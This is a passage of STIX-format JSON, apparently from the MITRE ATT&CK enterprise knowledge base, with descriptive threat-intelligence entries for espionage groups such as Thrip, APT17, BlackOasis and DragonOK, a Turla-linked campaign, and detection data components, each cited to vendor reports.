"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.275Z", "name": "Volume Modification", "description": "Changes made to a cloud volume, including its settings and control data (ex: AWS modify-volume)", "x_mitre_data_source_ref": "x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["Thrip"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", "type": "intrusion-set", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0076", "external_id": "G0076"}, {"source_name": "Thrip", "description": "(Citation: Symantec Thrip June 2018)"}, {"url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", "source_name": "Symantec Thrip June 2018"}], "modified": "2021-10-12T20:13:42.274Z", "name": "Thrip", "description": "[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-29T18:06:43.110Z", "name": "C0026", "description": "[C0026](https://attack.mitre.org/campaigns/C0026) was a campaign identified in September 2022 that included the selective distribution of [KOPILUWAK](https://attack.mitre.org/software/S1075) and [QUIETCANARY](https://attack.mitre.org/software/S1076) malware to previous [ANDROMEDA](https://attack.mitre.org/software/S1074) malware victims in Ukraine through re-registered [ANDROMEDA](https://attack.mitre.org/software/S1074) C2 domains. Several tools and tactics used during [C0026](https://attack.mitre.org/campaigns/C0026) were consistent with historic [Turla](https://attack.mitre.org/groups/G0010) operations.(Citation: Mandiant Suspected Turla Campaign February 2023)", "aliases": ["C0026"], "first_seen": "2022-08-01T05:00:00.000Z", "last_seen": "2022-09-01T04:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: Mandiant Suspected Turla Campaign February 2023)", "x_mitre_last_seen_citation": "(Citation: Mandiant Suspected Turla Campaign February 2023)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_contributors": ["Yoshihiro Kori, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India", "Pooja Natarajan, NEC Corporation India"], "type": "campaign", "id": "campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e", "created": "2023-05-15T19:17:48.880Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0026", "external_id": "C0026"}, {"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. 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Retrieved September 22, 2021."}], "modified": "2021-10-25T14:28:10.337Z", "name": "Ferocious Kitten", "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.273Z", "name": "Windows Registry Key Deletion", "description": "Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)", "x_mitre_data_source_ref": "x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["PittyTiger"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", "type": "intrusion-set", "created": "2017-05-31T21:31:50.198Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "G0011", "url": "https://attack.mitre.org/groups/G0011", "source_name": "mitre-attack"}, {"source_name": "PittyTiger", "description": "(Citation: Bizeul 2014) (Citation: Villeneuve 2014)"}, {"url": "https://airbus-cyber-security.com/the-eye-of-the-tiger/", "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", "source_name": "Bizeul 2014"}, {"url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. 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(2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", "source_name": "FireEye APT17"}], "modified": "2020-10-13T22:33:14.018Z", "name": "APT17", "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. 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(2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"}, {"source_name": "Securelist APT Trends Q2 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.", "url": "https://securelist.com/apt-trends-report-q2-2017/79332/"}, {"source_name": "CyberScoop BlackOasis Oct 2017", "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.", "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/"}], "modified": "2018-10-17T00:14:20.652Z", "name": "BlackOasis", "description": "[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. 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Retrieved November 27, 2017.", "source_name": "Microsoft NEODYMIUM Dec 2016"}, {"source_name": "Microsoft SIR Vol 21", "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}, {"url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/", "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.", "source_name": "CyberScoop BlackOasis Oct 2017"}], "modified": "2019-03-25T14:31:40.855Z", "name": "NEODYMIUM", "description": "[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. 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Retrieved November 4, 2015.", "source_name": "Operation Quantum Entanglement"}, {"source_name": "New DragonOK", "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"}], "modified": "2019-03-22T20:10:32.917Z", "name": "DragonOK", "description": "[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. 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